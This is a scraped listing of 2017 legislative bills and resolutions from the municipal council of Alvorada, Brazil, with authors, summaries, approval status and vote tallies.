00/00/2017 |
Projeto de Decreto Legislativo N°002/2017
de autoria do Bancada: PTB
: |
“CONCEDE TÍTULO DE HONRA AO MÉRITO À DRA. EVELISE LEITE PANCARO DA SILVA E DÁ OUTRAS PROVIDÊNCIAS” |
Aprovado
16 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°031/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CRÉDITO ESPECIAL NO VALOR DE R$ 34.300,00 (TRINTA E QUATRO MIL E TREZENTOS REAIS).” |
Aprovado
14 x 0 x 0
|
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00/00/2017 |
Projeto de Lei N°032/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CRÉDITO ESPECIAL NO VALOR DE R$ 27.500,00 (VINTE E SETE MIL E QUINHENTOS REAIS).” |
Aprovado
14 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°033/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CRÉDITO ESPECIAL NO VALOR DE R$ 40.000,00 (QUARENTA MIL REAIS).” |
Aprovado
14 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°035/2017
de autoria do Poder Executivo
: |
“ALTERA O ANEXO V DA LEI MUNICIPAL 2373/2011” |
Aprovado
14 x 0 x 0
|
|
09/05/2017 |
Projeto de Lei N°009/2017
de autoria do Ver. Reginaldo Rocha
: |
DISPÕE SOBRE A INSTALAÇÃO DE SANITÁRIOS COM ACESSIBILIDADE PARA CLIENTES, POR BANCOS PÚBLICOS E PARTICULARES, NO MUNICÍPIO, E DÁ OUTRAS PROVIDÊNCIAS. |
Aprovado
16 x 0 x 0
|
|
29/05/2017 |
Projeto de Lei N°012/2017
de autoria do Verª. Irmã Sara
: |
DISPÕE SOBRE A DIVULGAÇÃO DA RELAÇÃO DOS MEDICAMENTOS DISPONÍVEIS NA REDE PÚBLICA MUNICIPAL DE SAÚDE E DÁ OUTRAS PROVIDÊNCIAS. |
Aprovado
16 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
09/05/2017 |
Proposta de Emenda à Lei Orgânica N°001/2017
de autoria do Ver. Reginaldo Rocha
: |
MODIFICA O ART. 55º E PARÁGRAFO ÚNICO DA LEI ORGÂNICA DO MUNICÍPIO DE ALVORADA. |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°029/2017
de autoria do Poder Executivo
: |
“ALTERA DISPOSITIVOS DA LEI MUNICIPAL Nº 2.649/2013” |
Aprovado
16 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°028/2017
de autoria do Poder Executivo
: |
“INSTITUI O SISTEMA MUNICIPAL DE ATENDIMENTO SÓCIO EDUCATIVO- SIMASE” |
Aprovado
14 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°030/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A CONTRATAR PESSOAL EM CARÁTER EMERGENCIAL, POR PRAZO DETERMINADO PARA A SECRETARIA MUNICIPAL DA SAÚDE” |
Aprovado
14 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°009/2017
de autoria do Poder Executivo
: |
“INSTITUI O PLANO MUNICIPAL DE SANEAMENTO BÁSICO, O FUNDO MUNICIPAL DE SANEAMENTO BÁSICO, BEM COMO A CONFERÊNCIA MUNICIPAL DE SANEAMENTO BÁSICO.” |
Aprovado
12 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°027/2017
de autoria do Poder Executivo
: |
“ALTERA OS INCISOS III, V E VII DO § 1º DO ART. 12 E ART. 53 DA LEI MUNICIPAL Nº 1148/2001.” |
Aprovado
12 x 0 x 0
|
|
09/05/2017 |
Projeto de Lei N°007/2017
de autoria do Ver. Reginaldo Rocha
: |
INSTITUIO PROGRAMA DE IMPLANTAÇÃO DE BUSTOS, PLACAS, MONUMENTOS E ESTÁTUAS EM ESPAÇOS PÚBLICOS DO MUNICÍPIO E DÁ OUTRAS PROVIDÊNCIAS. |
Aprovado
12 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°026/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CRÉDITO ESPECIAL NO VALOR DE R$ 20.950,34" |
Aprovado
16 x 0 x 0
|
|
24/04/2017 |
Projeto de Resolução N°004/2017
de autoria do Ver. Celmir Martello
: |
CRIA A FRENTE PARLAMENTAR PELO DESENVOLVIMENTO EMPRESARIAL E ECONÔMICO DE ALVORADA E DA OUTRAS PROVIDÊNCIAS. |
Aprovado
16 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Resolução N°005/2017
de autoria do Mesa Diretora
: |
“AUTORIZA A MESA DIRETORA A ENVIAR VEREADORES PARA PARTICIPAÇÃO NA XX MARCHA EM DEFESA DOS MUNICÍPIOS DE 15 A 18 DE MAIO DE 2017” |
Aprovado
15 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Veto ao Projeto de Lei N°004/2017
de autoria do Poder Executivo
: |
Aprovado
9 x 0 x 0
|
||
00/00/2017 |
Projeto de Lei N°025/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CRÉDITO ESPECIAL NO VALOR DE R$ 26.000,00” |
Aprovado
9 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°019/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNIICPAL A ABRIR CRÉDITO ESPECIAL NO VALOR DE R$ 25.930,00 ( VINTE E CINCO MIL, NOVECENTOS E TRINTA REAIS)” |
Aprovado
12 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°020/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CRÉDITO ESPECIAL NO VALOR DE R$ 378.100,00 ( TREZENTOS E SETENTA E OITO MIL E CEM REAIS)” |
Aprovado
12 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°021/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CRÉDITO ESPECIAL NO VALOR DE R$ 23.500,00 ( VINTE E TRÊS MIL E QUINHENTOS REAIS)” |
Aprovado
12 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°022/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CRÉDITO ESPECIAL NO VALOR DE R$ 95.000,00 ( NOVENTA E CINCO MIL REAIS)” |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°023/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A DESAFETAR E DOAR IMÓVEL AO ESTADO DO RIO GRANDE DO SUL ” |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°024/2017
de autoria do Poder Executivo
: |
“AUTORIZA AO PODER A CONTRATAÇÃO DE PESSOAL EM CARÁTER EMERGENCIAL, POR PRAZO DETERMINADO PELA SECRETARIA MUNICIPAL DE EDUCAÇÃO” |
Aprovado
12 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°017/2017
de autoria do Poder Executivo
: |
“DEFINE OS CASOS DE ADIANTAMENTOS E DÁ OUTRAS PROVIDÊNCIAS” |
Aprovado
16 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
16/03/2017 |
Projeto de Lei N°010/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CRÉDITO ESPECIAL NO VALOR DE R$ 285.000,00 (DUZENTOS E OITENTA E CINCO MIL REAIS).”; |
Aprovado
15 x 0 x 0
|
|
16/03/2017 |
Projeto de Lei N°011/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CRÉDITO ESPECIAL NO VALOR DE R$ 10.000,00 (DEZ MIL REAIS).” |
Aprovado
15 x 0 x 0
|
|
16/03/2017 |
Projeto de Lei N°012/2017
de autoria do Poder Executivo
: |
“ALTERA O ART. 3º DA LEI MUNICIPAL Nº 3021/2016.” |
Aprovado
15 x 0 x 0
|
|
23/03/2017 |
Projeto de Lei N°013/2017
de autoria do Poder Executivo
: |
“ALTERA O PARÁGRAFO ÚNICO DO ART. 1º DA LEI MUNICIPAL Nº 1132/2000, ALTERADO PELA LEI MUNICIPAL Nº 1489/2004.” |
Aprovado
15 x 0 x 0
|
|
23/03/2017 |
Projeto de Lei N°014/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO A PARCELAR TARIFAS DO CEMITÉRIO MUNICIPAL.” |
Aprovado
15 x 0 x 0
|
|
13/03/2017 |
Projeto de Lei N°015/2017
de autoria do Poder Executivo
: |
“ALTERA E ACRESCE DISPOSITIVOS À LEI MUNICIPAL Nº 2586/12 |
Aprovado
13 x 2 x 0
|
|
00/00/2017 |
Projeto de Lei N°016/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A CONCEDER DESCONTO NO IMPOSTO PREDIAL E TERRITORIAL URBANO (IPTU), PARA O CONTRIBUINTE QUE PROCEDER A TRANSFERÊNCIA DE REGISTRO DE VEÍCULO AUTOMOTOR PARA O MUNICÍPIO DE ALVORADA E EFETUAR O RECOLHIMENTO DO IMPOSTO SOBRE A PROPRIEDADE DE VEÍCULOS AUTOMOTORES – IPVA.” |
Aprovado
15 x 0 x 0
|
|
06/01/2017 |
Projeto de Resolução N°001/2017
de autoria do Ver. Nelsinho Fernandes
: |
CRIA A FRENTE PARLAMENTAR EM DEFESA DOS ANIMAIS E DÁ OUTRAS PROVIDÊNCIAS. |
Aprovado
15 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°004/2017
de autoria do Poder Executivo
: |
"AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CREDITO ESPECIAL NO VALOR DE DEZ MIL REAIS." |
Aprovado
15 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°005/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CREDITO ESPECIAL NO VALOR DE VINTE E OITO MIL REAIS” |
Aprovado
|